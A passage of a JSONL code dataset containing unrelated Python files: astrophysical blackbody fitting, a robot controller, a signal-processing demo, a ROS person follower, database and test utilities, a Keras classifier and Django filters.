params[\"temp1\"]\n scale1 = params[\"scale1\"]\n if FIT == 3:\n temp2 = params[\"temp2\"]\n scale2 = params[\"scale2\"]\n if \"extinction_av\" in params:\n extinction_av = params[\"extinction_av\"]\n elif INTERVAL != EXTINCTIONFIT_INTERVAL:\n extinction_av = GLOBAL_AV\n else:\n extinction_av = None\n\n if \"extinction_rv\" in params:\n extinction_rv = params[\"extinction_rv\"]\n elif INTERVAL != EXTINCTIONFIT_INTERVAL:\n extinction_rv = GLOBAL_RV\n else:\n extinction_rv = None\n\n redshift = REDSHIFT\n\n spectrum1 = utilities.blackbody_spectrum(\n temperature=temp1,\n scale=scale1,\n extinction_av=extinction_av,\n extinction_rv=extinction_rv,\n redshift=redshift,\n )\n\n if FIT == 3:\n spectrum2 = utilities.blackbody_spectrum(\n temperature=temp2,\n scale=scale2,\n extinction_av=extinction_av,\n extinction_rv=extinction_rv,\n redshift=redshift,\n )\n\n ab_model_list = []\n flux_list = []\n\n flux1 = spectrum1.flux\n if FIT == 3:\n flux2 = spectrum2.flux\n else:\n flux2 = 0\n\n fluxcomb = flux1 + flux2\n spectrum = sncosmo_spectral_v13.Spectrum(\n wave=spectrum1.wave, flux=fluxcomb, unit=FNU\n )\n\n for i in x:\n ab_model = utilities.magnitude_in_band(wl_filter[i], spectrum)\n flux = utilities.abmag_to_flux(ab_model)\n ab_model_list.append(ab_model)\n flux_list.append(flux)\n\n if \"flux\" in kwargs.keys():\n if data:\n return np.asarray(flux_list) - np.asarray(data)\n else:\n return flux_list\n\n if data and not data_err:\n residual = np.asarray(ab_model_list) - np.asarray(data)\n print(residual)\n return residual\n elif data_err:\n residual = (np.asarray(ab_model_list) - np.asarray(data)) / np.asarray(data_err)\n print(residual)\n print(np.mean(abs(residual)))\n print(\"-------------------------------------------\")\n return residual\n else:\n return ab_model_list\n\n\n# BANDS_TO_EXCLUDE = [\"P200+J\", \"P48+ZTF_g\", \"P48+ZTF_r\", \"P48+ZTF_i\", \"Swift+B\", \"Swift+V\"]\n# BANDS_TO_EXCLUDE = [\"P200+J\"]\nBANDS_TO_EXCLUDE = [\n \"P200_sextractor+J\",\n \"P200_sextractor+H\",\n \"P200_sextractor+Ks\",\n \"Swift+B\",\n \"Swift+U\",\n \"Swift+V\",\n]\nBANDS_TO_FIT_BB_1 = [\"P48+ZTF_g\", \"P48+ZTF_r\", \"P48+ZTF_i\", \"Swift+UVM2\"]\nBANDS_TO_FIT_BB_2 = [\"P200+J\", \"P200+H\", \"P200+Ks\", \"WISE+W1\", \"WISE+W2\"]\n\nfor INTERVAL in INTERVALS:\n FITFILENAMES = {\n 1: os.path.join(FITDIR, f\"{INTERVAL}_fitparams_optical_uv.json\"),\n 2: os.path.join(FITDIR, f\"{INTERVAL}_fitparams_infrared.json\"),\n 3: os.path.join(FITDIR, f\"{INTERVAL}_fitparams_all.json\"),\n }\n\n magnitudes = {}\n\n df = pd.read_csv(LIGHTCURVE_INFILE)\n\n df_cut = df.query(\n f\"obsmjd > {MJD_INTERVALS[INTERVAL][0]} and obsmjd < {MJD_INTERVALS[INTERVAL][1]}\"\n )\n\n df_cut[\"telescope_band\"] = df_cut.telescope + \"+\" + df_cut.band\n\n for tband in df_cut[\"telescope_band\"].unique():\n if tband not in BANDS_TO_EXCLUDE:\n _df = df_cut.query(f\"telescope_band == @tband\")\n magnitudes.update(\n {tband: [np.mean(_df.mag.values), np.mean(_df.mag_err.values)]}\n )\n\n columns = [\"instrument\", \"band\", \"mag\", \"mag_err\"]\n df = pd.DataFrame(columns=columns)\n instrument = []\n band = []\n mag = []\n mag_err = []\n for index, entry in enumerate(magnitudes):\n mag.append(magnitudes[entry][0])\n mag_err.append(magnitudes[entry][1])\n instrument.append(entry.split(\"+\")[0])\n band.append(entry.split(\"+\")[1])\n\n df[\"instrument\"] = instrument\n df[\"band\"] = band\n df[\"mag\"] = mag\n df[\"mag_err\"] = mag_err\n df[\"flux\"] = utilities.abmag_to_flux(df.mag)\n df[\"flux_err\"] = utilities.abmag_err_to_flux_err(df.mag, df.mag_err)\n\n filter_wl = load_info_json(\"filter_wl\")\n cmap = load_info_json(\"cmap\")\n filterlabel = load_info_json(\"filterlabel\")\n\n # Now fit the sum of two spectra\n mags = []\n mag_errs = []\n wls = []\n\n df[\"instrumentband\"] = df[\"instrument\"] + \"+\" + df[\"band\"]\n\n if FIT == 1 or FIT == 2:\n df_fit = df.query(f\"instrumentband in @BANDS_TO_FIT_BB_{FIT}\")\n else:\n df_fit = df\n\n for index, row in df_fit.iterrows():\n mags.append(row[\"mag\"])\n mag_errs.append(row[\"mag_err\"])\n instrumentband = row[\"instrument\"] + \"+\" + row[\"band\"]\n wls.append(filter_wl[instrumentband])\n\n params = Parameters()\n params.add(\"temp1\", value=14000, min=100, max=150000)\n params.add(\"scale1\", value=1e23, min=1e18, max=1e27)\n\n if FIT == 3:\n params.add(\"temp2\", value=1400, min=100, max=150000)\n params.add(\"scale2\", value=1e20, min=1e18, max=1e27)\n if (FIT == 1 or FIT == 3) and INTERVAL == EXTINCTIONFIT_INTERVAL:\n params.add(\"extinction_av\", value=0.1, min=0.000000001, max=4)\n params.add(\"extinction_rv\", value=3.1, min=1, max=5)\n\n x = wls\n data = mags\n data_err = mag_errs\n\n minimizer_fcn = double_blackbody_minimizer\n\n if REFIT:\n minimizer = Minimizer(\n minimizer_fcn, params, fcn_args=(x, data, data_err), fcn_kws=None\n )\n out = minimizer.minimize(method=FITMETHOD)\n print(report_fit(out.params))\n\n temp1 = out.params[\"temp1\"].value\n scale1 = out.params[\"scale1\"].value\n\n if \"extinction_av\" in out.params.keys():\n extinction_av = out.params[\"extinction_av\"].value\n else:\n extinction_av = None\n if \"extinction_rv\" in out.params.keys():\n extinction_rv = out.params[\"extinction_rv\"].value\n else:\n extinction_rv = None\n if \"temp2\" in out.params.keys():\n temp2 = out.params[\"temp2\"].value\n else:\n temp2 = None\n if \"scale2\" in out.params.keys():\n scale2 = out.params[\"scale2\"].value\n else:\n scale2 = None\n\n fitresult = {\n \"temp1\": temp1,\n \"scale1\": scale1,\n \"temp2\": temp2,\n \"scale2\": scale2,\n \"extinction_av\": extinction_av,\n \"extinction_rv\": extinction_rv,\n }\n\n with open(FITFILENAMES[FIT], \"w\") as outfile:\n json.dump(fitresult, outfile)\n\n else:\n with open(FITFILENAMES[FIT]) as infile:\n fitresult = json.load(infile)\n\n wavelengths, frequencies = utilities.get_wavelengths_and_frequencies()\n\n if INTERVAL == EXTINCTIONFIT_INTERVAL:\n extinction_av = fitresult[\"extinction_av\"]\n extinction_rv = fitresult[\"extinction_rv\"]\n else:\n extinction_av = GLOBAL_AV\n extinction_rv = GLOBAL_RV\n\n fitted_spectrum_1, bolo_flux_1 = utilities.blackbody_spectrum(\n temperature=fitresult[\"temp1\"],\n scale=fitresult[\"scale1\"],\n extinction_av=extinction_av,\n extinction_rv=extinction_rv,\n redshift=REDSHIFT,\n get_bolometric_flux=True,\n )\n unextincted_spectrum_1, bolo_flux_1_unext = utilities.blackbody_spectrum(\n temperature=fitresult[\"temp1\"],\n scale=fitresult[\"scale1\"],\n extinction_av=None,\n extinction_rv=None,\n redshift=None,\n get_bolometric_flux=True,\n )\n\n if FIT == 3:\n fitted_spectrum_2, bolo_flux_2 = utilities.blackbody_spectrum(\n temperature=fitresult[\"temp2\"],\n scale=fitresult[\"scale2\"],\n extinction_av=extinction_av,\n extinction_rv=extinction_rv,\n redshift=REDSHIFT,\n get_bolometric_flux=True,\n )\n unextincted_spectrum_2, bolo_flux_2_unext = utilities.blackbody_spectrum(\n temperature=fitresult[\"temp2\"],\n scale=fitresult[\"scale2\"],\n extinction_av=None,\n extinction_rv=None,\n redshift=None,\n get_bolometric_flux=True,\n )\n\n combined_flux = fitted_spectrum_1.flux + fitted_spectrum_2.flux\n\n combined_spectrum = sncosmo_spectral_v13.Spectrum(\n wave=fitted_spectrum_1.wave, flux=combined_flux, unit=FNU\n )\n\n # # # Calculate luminosity\n luminosity_1, _, radius1, _ = utilities.calculate_bolometric_luminosity(\n temperature=fitresult[\"temp1\"],\n scale=fitresult[\"scale1\"],\n redshift=REDSHIFT,\n temperature_err=None,\n scale_err=None,\n )\n luminosity_2, _, radius2, _ = utilities.calculate_bolometric_luminosity(\n temperature=fitresult[\"temp2\"],\n scale=fitresult[\"scale2\"],\n redshift=REDSHIFT,\n temperature_err=None,\n scale_err=None,\n )\n total_luminosity = luminosity_1 + luminosity_2\n\n print(\"--------------------------------\")\n print(f\"temp optical/UV: {fitresult['temp1']:.0f} K\")\n print(f\"temp infrared: {fitresult['temp2']:.0f} K\")\n print(f\"luminosity optical/UV = {luminosity_1:.2e}\")\n print(f\"luminosity infrared = {luminosity_2:.2e}\")\n print(f\"total luminosity = {total_luminosity:.2e}\")\n print(f\"radius optical/UV = {radius1:.2e}\")\n print(f\"radius infrared = {radius2:.2e}\")\n print(\"--------------------------------\")\n\n # Now we plot\n ###\n plotmag = False\n ###\n\n plt.figure(figsize=(FIG_WIDTH, 1 / 1.414 * FIG_WIDTH), dpi=DPI)\n ax1 = plt.subplot(111)\n plt.xscale(\"log\")\n\n if not plotmag:\n ax1.set_ylabel(\n r\"$\\nu$ F$_\\nu$ [erg s$^{-1}$ cm$^{-2}$]\", fontsize=FONTSIZE_LABEL\n )\n ax1.set_xlabel(\"Frequency [Hz] (source frame)\", fontsize=FONTSIZE_LABEL)\n ax1.set_xlim([5e13, 2e15])\n ax1.set_ylim([9e-14, 1e-11])\n # ax1.set_ylim([9e-16, 1e-11])\n plt.yscale(\"log\")\n for band in df.band:\n df_red = df.query(f\"band == '{band}'\")\n key = (df_red.instrument.values + \"+\" + df_red.band.values)[0]\n nu = utilities.lambda_to_nu(filter_wl[key])\n\n ax1.errorbar(\n nu * (1 + REDSHIFT),\n df_red.flux.values * nu * (1 + REDSHIFT),\n df_red.flux_err.values * nu * (1 + REDSHIFT),\n color=cmap[key],\n label=filterlabel[key],\n fmt=\".\",\n markersize=10,\n )\n nu = utilities.lambda_to_nu(fitted_spectrum_1.wave)\n\n # OPTICAL / UV\n ax1.plot(\n utilities.lambda_to_nu(fitted_spectrum_1.wave) * (1 + REDSHIFT),\n fitted_spectrum_1.flux\n * utilities.lambda_to_nu(fitted_spectrum_1.wave)\n * (1 + REDSHIFT),\n color=\"tab:blue\",\n linestyle=\"dotted\",\n label=f\"1 extincted\",\n )\n ax1.plot(\n utilities.lambda_to_nu(unextincted_spectrum_1.wave),\n unextincted_spectrum_1.flux\n * utilities.lambda_to_nu(unextincted_spectrum_1.wave),\n color=\"tab:blue\",\n linestyle=\"dotted\",\n linewidth=0.6,\n label=f\"1 unextincted\",\n )\n\n if FIT == 3:\n ax1.plot(\n utilities.lambda_to_nu(fitted_spectrum_2.wave) * (1 + REDSHIFT),\n fitted_spectrum_2.flux\n * utilities.lambda_to_nu(fitted_spectrum_2.wave)\n * (1 + REDSHIFT),\n color=\"tab:red\",\n linestyle=\"dotted\",\n label=f\"2 extincted\",\n )\n ax1.plot(\n utilities.lambda_to_nu(unextincted_spectrum_2.wave),\n unextincted_spectrum_2.flux\n * utilities.lambda_to_nu(unextincted_spectrum_2.wave),\n color=\"tab:red\",\n linestyle=\"dotted\",\n linewidth=0.6,\n label=f\"2 unextincted\",\n )\n ax1.plot(\n utilities.lambda_to_nu(combined_spectrum.wave) * (1 + REDSHIFT),\n combined_spectrum.flux\n * utilities.lambda_to_nu(combined_spectrum.wave)\n * (1 + REDSHIFT),\n color=\"black\",\n # linestyle=\"dotted\",\n label=rf\"combined spectrum\",\n )\n\n ax2 = ax1.secondary_xaxis(\n \"top\", functions=(utilities.nu_to_ev, utilities.ev_to_nu)\n )\n ax2.set_xlabel(r\"Energy [eV]\", fontsize=FONTSIZE_LABEL)\n plt.grid(which=\"both\", alpha=0.15)\n\n d = cosmo.luminosity_distance(REDSHIFT)\n d = d.to(u.cm).value\n lumi = lambda flux: flux * 4 * np.pi * d ** 2\n flux = lambda lumi: lumi / (4 * np.pi * d ** 2)\n ax3 = ax1.secondary_yaxis(\"right\", functions=(lumi, flux))\n ax3.tick_params(axis=\"y\", which=\"major\", labelsize=FONTSIZE_TICKMARKS)\n ax3.set_ylabel(r\"$\\nu$ L$_\\nu$ [erg s$^{-1}$]\", fontsize=FONTSIZE_LABEL)\n\n else:\n ax1.set_ylabel(\"Magnitude [AB]\", fontsize=FONTSIZE_LABEL)\n ax1.set_xlabel(r\"Wavelength $[\\AA]$\", fontsize=FONTSIZE_LABEL)\n ax1.invert_yaxis()\n ax1.set_ylim([21, 15])\n\n for band in df.band:\n df_red = df.query(f\"band == '{band}'\")\n key = (df_red.instrument.values + \"+\" + df_red.band.values)[0]\n ax1.errorbar(\n filter_wl[key],\n df_red.mag.values,\n df_red.mag_err.values,\n color=cmap[key],\n fmt=\".\",\n label=filterlabel[key],\n markersize=10,\n )\n ax1.plot(\n fitted_spectrum_1.wave,\n utilities.flux_to_abmag(fitted_spectrum_1.flux),\n color=\"darkcyan\",\n linestyle=\"dotted\",\n label=\"spectrum 1\",\n )\n\n # ax1.plot(\n # fitted_spectrum_2.wave,\n # utilities.flux_to_abmag(fitted_spectrum_2.flux),\n # color=\"yellowgreen\",\n # linestyle=\"dotted\",\n # label=\"spectrum 2\",\n # )\n # ax1.plot(\n # fitted_total_spectrum.wave,\n # utilities.flux_to_abmag(fitted_total_spectrum.flux),\n # color=\"purple\",\n # # linestyle=\"dotted\",\n # label=\"sum of fitted spectra\",\n # )\n ax2 = ax1.secondary_xaxis(\n \"top\", functions=(utilities.nu_to_lambda, utilities.lambda_to_nu)\n )\n ax2.set_xlabel(\"Frequency [Hz] (source frame)\", fontsize=FONTSIZE_LABEL)\n\n ax1.tick_params(axis=\"both\", which=\"major\", labelsize=FONTSIZE_TICKMARKS)\n ax2.tick_params(axis=\"y\", which=\"major\", labelsize=FONTSIZE_TICKMARKS)\n\n bbox = dict(boxstyle=\"round\", fc=\"w\", ec=\"gray\")\n annotation = f\"lumin. opt/UV: {luminosity_1:.2e}\\nlumin. IR: {luminosity_2:.2e}\\nlumin. total: {total_luminosity:.2e}\"\n ax1.text(\n 0.35,\n 0.9,\n annotation,\n transform=ax1.transAxes,\n bbox=bbox,\n fontsize=FONTSIZE_LEGEND,\n )\n\n if not os.path.exists(PLOTDIR):\n os.makedirs(PLOTDIR)\n\n if plotmag:\n outfile = os.path.join(PLOTDIR, f\"double_bb_mag_{INTERVAL}_sourceframe.png\")\n else:\n outfile = os.path.join(PLOTDIR, f\"double_bb_nufnu_{INTERVAL}_sourceframe.png\")\n\n loc = {0: \"upper left\", 1: \"upper right\", 2: \"upper right\"}\n\n plt.legend(fontsize=FONTSIZE_LEGEND, loc=loc[INTERVAL])\n plt.tight_layout()\n plt.savefig(outfile)\n plt.close()\n","sub_path":"fit/archive/fit_double_blackbody_sourceframe.py","file_name":"fit_double_blackbody_sourceframe.py","file_ext":"py","file_size_in_byte":17271,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"207721221","text":"\"\"\"our_controller controller.\"\"\"\n\n# You may need to import some classes of the controller module. Ex:\n# from controller import Robot, Motor, DistanceSensor\nfrom controller import Robot\n\nTIME_STEP = 64\nrobot = Robot()\n\nds = []\ndsNames = ['ds_front', 'ds_FL', 'ds_left', 'ds_FR', 'ds_right', 'ds_BR', 'ds_BL', 'ds_back']\n\nfor i in range(8):\n \n ds.append(robot.getDistanceSensor(dsNames[i]))\n ds[i].enable(TIME_STEP)\n \nwheels = []\nwheelsNames = ['left_wheel', 'right_wheel']\n\nfor i in range(2):\n \n wheels.append(robot.getMotor(wheelsNames[i]))\n wheels[i].setPosition(float('inf'))\n wheels[i].setVelocity(0.0)\n \nf_ObstacleCounter = 0\nfl_ObstacleCounter = 0\nfr_ObstacleCounter = 0\nturn_counter = 0\nturnR = True\nmove_counter = 0\nadjust = 0\n\nwhile robot.step(TIME_STEP) != -1:\n \n leftSpeed = 7\n rightSpeed = 7\n \n if adjust > 0:\n adjust -= 1\n leftSpeed = -3.4\n rightSpeed = 3.4\n \n elif f_ObstacleCounter > 0 and turnR:\n f_ObstacleCounter -= 1\n leftSpeed = 5.0\n rightSpeed = -5.0\n turn_counter += 1\n if turn_counter == 10:\n turnR = False\n turn_counter = 0\n \n elif f_ObstacleCounter > 0 and not turnR:\n f_ObstacleCounter -= 1\n leftSpeed = -5.0\n rightSpeed = 5.0\n turn_counter += 1\n if turn_counter == 10:\n turnR = True\n turn_counter = 0 \n\n elif fl_ObstacleCounter > 0:\n fl_ObstacleCounter -= 1\n leftSpeed = 5.0\n rightSpeed = -5.0\n \n elif fr_ObstacleCounter > 0:\n fr_ObstacleCounter -= 1\n leftSpeed = -5.0\n rightSpeed = 5.0\n \n else: # read sensors\n if ds[0].getValue() < 950.0:\n f_ObstacleCounter = 7\n elif ds[1].getValue() < 950.0:\n fl_ObstacleCounter = 7 \n elif ds[3].getValue() < 950.0:\n fr_ObstacleCounter = 7 \n else:\n move_counter += 1\n if move_counter == 50:\n adjust = 4\n move_counter = 0 \n \n wheels[0].setVelocity(leftSpeed)\n wheels[1].setVelocity(rightSpeed)\n \n# Enter here exit cleanup code.\n","sub_path":"controllers/our_controller/our_controller.py","file_name":"our_controller.py","file_ext":"py","file_size_in_byte":2198,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"530349620","text":"a = 1\n\n\ndef parent():\n # a = 5 #parent local\n\n def confusion():\n return sum # a\n\n return confusion()\n\n\nprint(parent())\nprint(a)\n\n# priority\n\n# 1 - start with local\n# 2 - parent local\n# 3 - Global\n# 4 - built-in python function\n\n#global\n\ntotal = 0\ndef count():\n global total\n total += 1\n return total\n\ncount()\ncount()\ncount()\nprint(count())","sub_path":"Basics/scope_rules.py","file_name":"scope_rules.py","file_ext":"py","file_size_in_byte":365,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"366756412","text":"# -*- coding: UTF-8 -*-\nimport math\nimport pylab\nimport random\nfrom matplotlib import mlab\nL=100 # Число отчетов сигнала\nvh=[]# массив для входной последовательности сигнала с шумом\nvih=[]# массив для модуля выходной последовательности сигнала с шумом\ns=[]# массив для сигнала\nh=[]# массив для импульсной характеристики согл. фильтра\nvhmod=[]# массив для модуля входной последовательности сигнала с шумом\nfor i in range(0,L):\n if random.randint(0, 1)==1:\n s.append(complex(1,0))\n else:\n s.append(complex(-1,0))\nfor i in range(0,L):\n h.append(s[L-1-i].conjugate())\nfor i in range(0,500):\n x=complex(random.normalvariate(0, 0) ,random.normalvariate(0, 0))\n if i < 100 :\n x=x+s[i]\n vh.append(x);\n vhmod.append(abs(x));\nfor i in range(0,500):\n y=complex(0 ,0)\n for k in range(0,L) :\n if ((i-k)>=0 and (i-k).3 and distance !=np.inf:\n #print(distance)\n distance = self.lidar_data_ranges[0]\n self.pub.publish(Twist(linear=Vector3(x=distance)))\n #self.pub.publish(Twist(linear=Vector3(z=distance)))\n self.rate.sleep()\n #print('Stop')\n self.pub.publish(Twist(linear=Vector3(x=0)))\n self.rate.sleep()\n return self.identify_person\n\n def calc_heading(self):\n #Calculate angle between current and goal position Vectors\n self.pub.publish(Twist(angular=Vector3(z=0)))\n self.current_heading = euler_from_quaternion([self.current_position.orientation.x,self.current_position.orientation.y,self.current_position.orientation.z,self.current_position.orientation.w])\n globalCoords = self.neato_to_world()\n vector1 = np.array([math.tan(self.current_heading[2]),1])\n vector2 = np.array([self.strongestX -self.current_position.position.x,self.strongestY-self.current_position.position.y])#np.array([globalCoords[0][0] -self.current_position.position.x,globalCoords[1][0]-self.current_position.position.y])\n print(vector2.shape)\n angle = math.acos((np.dot(vector1,vector2))/(np.sqrt(vector1.dot(vector1))*np.sqrt(vector2.dot(vector2))))\n angle = angle\n \n if self.strongestX >0:\n angle = 1*angle\n print('Minus Pi')\n angle = angle - self.current_heading[2]\n print(\"Angle: \" + str(angle))\n\n return angle\n def neato_to_world(self):\n worldCoords = np.asarray([[-self.strongestX*np.cos(self.current_heading[2])],[-self.strongestX*np.sin(self.current_heading[2])],[0]]) +np.asarray([[self.strongestY*(-np.sin(self.current_heading[2]))],[self.strongestY*np.cos(self.current_heading[2])],[0]])+np.asarray([[self.current_position.position.x],[self.current_position.position.y],[1]])\n print('Heading: '+str(self.current_heading[2]))\n print('World: '+str(worldCoords))\n print('Local:' +str(self.current_position.position.x)+' '+str(self.current_position.position.y))\n return worldCoords\n def run(self):\n rospy.sleep(1)\n while not rospy.is_shutdown():\n self.state = self.state()\n\n\nif __name__ == '__main__':\n personFollower = personFollowerNode()\n personFollower.run()","sub_path":"warmup_project/scripts/person_follower.py","file_name":"person_follower.py","file_ext":"py","file_size_in_byte":7009,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"296090556","text":"arv = int(input(\"Sisestage minutite arv: \"))\r\ncount = 0\r\npaarituid = 0\r\nlaike = 0\r\n\r\nwhile paarituid < arv:\r\n if (count % 2) is not 0:\r\n laike += count\r\n paarituid += 1\r\n count += 1\r\n\r\nprint(\"Laikide koguarv on \" + str(laike) + \".\")\r\n","sub_path":"Alused I/Nädal 3/3.4a Laikimine ver. 2.py","file_name":"3.4a Laikimine ver. 2.py","file_ext":"py","file_size_in_byte":254,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"563292326","text":"# coding: utf-8\nfrom __future__ import unicode_literals\nimport os\nimport json\n\n\nclass MockResponse(object):\n def __init__(self, status, data=b'{}'):\n self.status_code = status\n self.content = data\n self.text = data.decode('utf-8')\n self.headers = {'Content-Type': 'application/vnd.uploadcare+json'}\n\n def json(self):\n \"\"\"Returns the json-encoded content of a response, if any.\"\"\"\n return json.loads(self.text)\n\n\nclass MockListResponse(MockResponse):\n def __init__(self):\n super(MockListResponse, self).__init__(\n 200, b'{'\n b'\"results\": [], \"next\": null, \"previous\": null,'\n b'\"total\": 0, \"per_page\": 1'\n b'}'\n )\n\n\ndef api_response_from_file(filename):\n path_to_tests_dir = os.path.dirname(__file__)\n path_to_file = os.path.join(path_to_tests_dir, 'api_responses', filename)\n\n with open(path_to_file, 'rb') as fp:\n return fp.read()\n","sub_path":"tests/functional/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":972,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"335111936","text":"from src.database import metadata\nfrom sqlalchemy import func, text\nfrom sqlalchemy.dialects.mysql import TINYINT, BIGINT\nfrom sqlalchemy import Table, Column, String, Text, TIMESTAMP, DATETIME\n\n\nreviews = Table('reviews', metadata,\n Column('id', BIGINT(20), primary_key=True, autoincrement=True),\n Column('external_id', String(255, collation='utf8mb4_unicode_ci'), unique=True, nullable=False),\n Column('author', String(255, collation='utf8mb4_unicode_ci'), nullable=False, index=True),\n Column('product_name', String(255, collation='utf8mb4_unicode_ci'), nullable=False),\n Column('review',Text(collation='utf8mb4_unicode_ci')),\n Column('rating', TINYINT(3, unsigned=True), nullable=False, index=True),\n Column('location', String(768, collation='utf8mb4_unicode_ci'), nullable=True),\n Column('purchase_date', DATETIME, nullable=True),\n Column('created_at', TIMESTAMP, nullable=False, server_default=func.now()),\n Column('updated_at', TIMESTAMP, nullable=False, server_default=text('CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP'), index=True)\n )\n\n\n\n\n","sub_path":"src/database/models/feefo_review.py","file_name":"feefo_review.py","file_ext":"py","file_size_in_byte":1210,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"131886661","text":"#! /usr/bin/python2.7\n\nimport sys\nprint(sys.version)\nimport sys\nimport pandas\nimport numpy as np\nfrom keras.preprocessing.sequence import pad_sequences\nfrom keras.models import Sequential, load_model\nfrom keras.layers.core import Dense, Dropout\nfrom keras.optimizers import SGD, Adam\nfrom IPython.core.debugger import Tracer\nfrom keras.layers import Masking, LSTM, TimeDistributed, Bidirectional, Flatten\nfrom keras.callbacks import ModelCheckpoint, EarlyStopping, ReduceLROnPlateau\nfrom sklearn.preprocessing import OneHotEncoder\n\n\n#FORMAT DATA\n#ONE HOT ENCODES A GIVEN COLUMN\ndef onehot(x): return np.array(OneHotEncoder().fit_transform(x.values.reshape(-1,1)).todense())\n\ndef format(data):\n del data['Unnamed: 605']\n mask = data['AgeGroup'] == 'ag1'\n column_name = 'AgeGroup'\n data.loc[mask, column_name] = 0\n mask = data['AgeGroup'] == 'ag2'\n column_name = 'AgeGroup'\n data.loc[mask, column_name] = 1\n mask = data['AgeGroup'] == 'ag3'\n column_name = 'AgeGroup'\n data.loc[mask, column_name] = 2\n mask = data['Gender'] == 'm'\n column_name = 'Gender'\n data.loc[mask, column_name] = 0\n mask = data['Gender'] == 'f'\n column_name = 'Gender'\n data.loc[mask, column_name] = 1\n return data\n\n\n#LOAD LABELS\ntrain_data_i_vectors = pandas.read_csv(\"/storage/tanel/child_age_gender/exp/ivectors_2048/train/export.csv\", sep=\" \")\ntrain_data_i_vectors = format(train_data_i_vectors)\ntrain_labels_age_group = onehot(train_data_i_vectors['AgeGroup'])\n\nval_data_i_vectors = pandas.read_csv(\"/storage/tanel/child_age_gender/exp/ivectors_2048/dev/export.csv\", sep=\" \")\nval_data_i_vectors = format(val_data_i_vectors)\nval_labels_age_group = onehot(val_data_i_vectors['AgeGroup'])\n\ntest_data_i_vectors = pandas.read_csv(\"/storage/tanel/child_age_gender/exp/ivectors_2048/test/export.csv\", sep=\" \")\ntest_data_i_vectors = format(test_data_i_vectors)\ntest_labels_age_group = onehot(test_data_i_vectors['AgeGroup'])\nprint (\"LABELS LOADED\")\n\n\n#LOAD DATA\n\ntrain_data_padded = np.load(\"/storage/hpc_lkpiel/data/fbank_train_data_padded.npy\", encoding=\"bytes\")\nval_data_padded = np.load(\"/storage/hpc_lkpiel/data/fbank_val_data_padded.npy\", encoding=\"bytes\")\ntest_data_padded = np.load(\"/storage/hpc_lkpiel/data/fbank_test_data_padded.npy\", encoding=\"bytes\")\nprint (\"DATA LOADED\")\n\n################################################################################################\n\nreduce_lr = ReduceLROnPlateau(monitor='val_loss', factor=0.8,\n patience=2, min_lr=0.0001, verbose=1)\n\n\nmodel_6 = Sequential([\n Masking(mask_value=0., input_shape=(1107,20)),\n Bidirectional(LSTM(64, return_sequences=True, dropout=0.3)),\n Bidirectional(LSTM(64)),\n Dense(3, activation='softmax')\n])\n\nprint (\"model_6 BUILT\")\n\nmodel_6.compile(loss='categorical_crossentropy', optimizer=Adam(lr=0.001), metrics=['accuracy'])\nprint (\"model_6 COMPILED\")\n\n\ncheckpoint = ModelCheckpoint(filepath='/models/model_6.hdf5', monitor='val_loss', save_best_only=True)\n\nhistory = model_6.fit(x=train_data_padded,\n y=train_labels_age_group,\n validation_data=(val_data_padded, val_labels_age_group),\n epochs=25,\n verbose=1,\n batch_size=128,\n callbacks=[checkpoint, reduce_lr]\n)\n\nnp.save('../history/history_model_6.npy', history.history)\nmodelHistory = np.load('../history/history_model_6.npy').item()\n\nprint (\"HISTORY: \")\nprint (modelHistory)\nmodel_6.load_weights('/models/model_6.hdf5')\n\nvalResult = model_6.evaluate(val_data_padded, val_labels_age_group)\ntestResult = model_6.evaluate(test_data_padded, test_labels_age_group)\n\nfile = open(\"results.txt\",\"a\")\nfile.write(\"\\nmodel_6 VAL: \" + str(valResult) + \" TEST: \" + str(testResult))\nfile.close()\nprint (\"WROTE TO FILE\")\n\n\n########################################","sub_path":"rnn/rnn6.py","file_name":"rnn6.py","file_ext":"py","file_size_in_byte":3783,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"233491714","text":"\"\"\".. Ignore pydocstyle D400.\n\n============\nFlow Filters\n============\n\n\"\"\"\nimport django_filters as filters\n\nfrom rest_framework.exceptions import ParseError\n\nfrom .models import Collection, Data, DescriptorSchema, Entity, Process, Relation\n\nNUMBER_LOOKUPS = [\n \"exact\",\n \"in\",\n \"gt\",\n \"gte\",\n \"lt\",\n \"lte\",\n \"isnull\",\n]\nTEXT_LOOKUPS = [\n \"exact\",\n \"iexact\",\n \"contains\",\n \"icontains\",\n \"in\",\n \"startswith\",\n \"istartswith\",\n \"endswith\",\n \"iendswith\",\n \"isnull\",\n]\nDATE_LOOKUPS = [\n \"exact\",\n \"gt\",\n \"gte\",\n \"lt\",\n \"lte\",\n \"year\",\n \"year__gt\",\n \"year__gte\",\n \"year__lt\",\n \"year__lte\",\n \"month\",\n \"month__gt\",\n \"month__gte\",\n \"month__lt\",\n \"month__lte\",\n \"day\",\n \"day__gt\",\n \"day__gte\",\n \"day__lt\",\n \"day__lte\",\n \"isnull\",\n]\nDATETIME_LOOKUPS = DATE_LOOKUPS + [\n \"date\",\n \"time\",\n \"hour\",\n \"hour__gt\",\n \"hour__gte\",\n \"hour__lt\",\n \"hour__lte\",\n \"minute\",\n \"minute__gt\",\n \"minute__gte\",\n \"minute__lt\",\n \"minute__lte\",\n \"second\",\n \"second__gt\",\n \"second__gte\",\n \"second__lt\",\n \"second__lte\",\n]\n\n\nclass CheckQueryParamsMixin:\n \"\"\"Custom query params validation.\"\"\"\n\n def get_always_allowed_arguments(self):\n \"\"\"Get always allowed query arguments.\"\"\"\n return (\n \"fields\",\n \"format\",\n \"limit\",\n \"offset\",\n \"ordering\",\n )\n\n def validate_query_params(self):\n \"\"\"Ensure no unsupported query params were used.\"\"\"\n allowed_params = set(self.get_filters().keys())\n allowed_params.update(self.get_always_allowed_arguments())\n\n unallowed = set(self.request.query_params.keys()) - allowed_params\n\n if 